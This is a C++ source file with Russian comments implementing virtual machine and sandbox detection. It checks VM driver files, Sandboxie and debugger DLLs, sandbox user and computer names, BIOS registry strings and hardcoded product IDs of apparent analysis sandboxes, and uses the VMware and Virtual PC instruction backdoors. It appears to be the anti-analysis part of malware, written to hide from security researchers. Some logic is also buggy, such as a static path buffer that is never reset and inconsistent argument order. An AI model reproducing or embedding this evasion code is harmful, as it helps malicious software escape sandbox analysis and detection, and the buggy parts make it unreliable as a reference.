#include "VMDetect.h"

#include "Utils.h"
#include "Strings.h"

/*************************      Важно!!!      ************************/
/* Чтобы работали __try ... __except и при этом не линковался 
   стандартный CRT, необходимо отключить стандартные библиотеки 
   и указать линкеру зависимости от:
   exsup.lib (поддержка SEH из DDK) и libcmt.lib
   Через #pragma comment почему-то он их не находит, поэтому 
   приходится указывать в свойствах проекта
*/

//#pragma comment(lib, "..\sehlib\exsup.lib")
//#pragma comment(lib, "libcmt.lib")
//#pragma comment(linker, "/NODEFAULTLIB")


// Предопределение используемых локальных функций
static UINT GetSystemDir(char *szOutStr, UINT nSize);
//static bool DirectoryExists(const char *szDirName);
static bool CheckDir(const char *szRootDir, const char *szChildDir);
static bool CheckReg(const char *szSubKey, const char *szValue,
                     char *szOutBuf, int nBufSize);
//static bool _strstr(char *substr, char *str);


//*********************************************************************
// Детектит виртуалки и песочницы несколькими способами
bool DetectVM()
{
	#define BUF_SIZE 1024
	static char szBuf[BUF_SIZE] = {'\0'};
	if (!GetSystemDir(szBuf, MAX_PATH)) return true;

	if (CheckDir(szBuf, "prleth.sys")) return true;
	if (CheckDir(szBuf, "hgfs.sys")) return true;
	if (CheckDir(szBuf, "vmhgfs.sys")) return true;

	if (GetModuleHandle("dbghelp.dll")) return true;
	if (GetModuleHandle("sbiedll.dll")) return true;

	DWORD dwUsl = BUF_SIZE;
	if (!GetUserName(szBuf, &dwUsl)) return true;
	if (0 == lstrcmp(szBuf, "CurrentUser")) return true;
	if (0 == lstrcmp(szBuf, "Sandbox")) return true;

	dwUsl = BUF_SIZE;
	if (!GetComputerName(szBuf, &dwUsl)) return true;
	if (0 == lstrcmp(szBuf, "SANDBOX")) return true;

	if (!CheckReg("HARDWARE\\DESCRIPTION\\System",
								"SystemBiosVersion", szBuf, BUF_SIZE)) return true;
	if (STR::Pos("VBOX", szBuf)) return true;

	if (!CheckReg("HARDWARE\\DESCRIPTION\\System",
								"VideoBiosVersion", szBuf, BUF_SIZE)) return true;
	if (STR::Pos(szBuf, "VirtualBox") >= 0) return true;

	if (!CheckReg("SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
								"SystemBiosVersion", szBuf, BUF_SIZE)) return true;
	if (STR::Pos(szBuf, "55274-640-2673064-23950") >= 0) return true;
	if (STR::Pos(szBuf, "76487-644-3177037-23510") >= 0) return true;
	if (STR::Pos(szBuf, "76487-337-8429955-22614") >= 0) return true;

	if (IsVPC()) return true;
	if (IsVMWare()) return true;
	
	return false;
}

//*********************************************************************
bool IsVMWare()
{
	bool res = true;

	__try {
		__asm
		{
			push   edx
			push   ecx
			push   ebx

			mov    eax, 'VMXh'
			mov    ebx, 0      // any value but not the MAGIC VALUE
			mov    ecx, 10     // get VMWare version
			mov    edx, 'VX'   // port number

			in     eax, dx     // read port
                         // on return EAX returns the VERSION
			cmp    ebx, 'VMXh' // is it a reply from VMWare?
			setz   [res]       // set return value

			pop    ebx
			pop    ecx
			pop    edx
		}
	} __except(EXCEPTION_EXECUTE_HANDLER) {
		res = false;
	}

	return res;
}

//*********************************************************************
// IsInsideVPC's exception filter
DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)
{
  PCONTEXT ctx = ep->ContextRecord;

  ctx->Ebx = -1; // Not running VPC

  ctx->Eip += 4; // skip past the "call VPC" opcodes

  return EXCEPTION_CONTINUE_EXECUTION;
  // we can safely resume execution since we skipped faulty instruction
}

//*********************************************************************
bool IsVPC()
{
  bool res = false;

  __try
  {
    _asm push ebx
    _asm mov  ebx, 0 // It will stay ZERO if VPC is running

    _asm mov  eax, 1 // VPC function number


    // call VPC 

    _asm __emit 0Fh
    _asm __emit 3Fh
    _asm __emit 07h
    _asm __emit 0Bh

    _asm test ebx, ebx
    _asm setz [res]
    _asm pop ebx
  }
  // The except block shouldn't get triggered if VPC is running!!

  __except(IsInsideVPC_exceptionFilter(GetExceptionInformation()))
  {
  }

  return res;
}

/************************************************************************/
//bool directoryexists(const char *szdirname)
//{
//	int code = getfileattributes(szdirname);
//	return ((-1 != code) && (0 != (file_attribute_directory && code)));
//}

/************************************************************************/
UINT GetSystemDir(char *szOutStr, UINT nSize)
{
	UINT res = GetWindowsDirectory(szOutStr, nSize);
	if (res)
	{
		if (res > nSize)
		{
			res = 0;// Пришло символов больше, чем буфер  GSV - Возможно ли ???
		}
		else
		{
			int Idx = lstrlen(szOutStr);
			if ('\\' != szOutStr[Idx - 1])
			{
				lstrcat(szOutStr, "\\");
				res = lstrlen(szOutStr);
			}
		}
	}
	return res;
}

/************************************************************************/
bool CheckDir(const char *szRootDir, const char *szChildDir)
{
	static char szPath[MAX_PATH] = {'\0'};

	lstrcat(szPath, szRootDir);
	lstrcat(szPath, szChildDir);
	return DirExists(szPath);
}

/************************************************************************/
bool CheckReg(const char *szSubKey, const char *szValue,
              char *szOutBuf, int nBufSize)
{
	bool res = false;
	HKEY hkey = 0;

	if (ERROR_SUCCESS == RegCreateKey(HKEY_LOCAL_MACHINE, szSubKey, &hkey))
	{
		DWORD dwType = REG_SZ;
		DWORD dwSize = nBufSize;

		RegQueryValueEx(hkey, szValue, NULL, &dwType, (PBYTE)szOutBuf, &dwSize);
		RegCloseKey(hkey);
		res = true;
	}
	return res;
}

/************************************************************************/
//bool _strstr(char *substr, char *str)
//{
//	bool res = false;
//	int ln_sub = lstrlen(substr);
//	int ln_str = lstrlen(str);
//
//	for (int i = 0; i <= ln_str - ln_sub; i++)
//	{
//		int c = 0;
//		char *chk = &str[i];
//		for (int j = 0; j < ln_sub; j++)
//		{
//			if (substr[j] == chk[j])
//				c++;
//		}
//		if (c == ln_sub)
//			return true;
//	}
//	return res;
//}

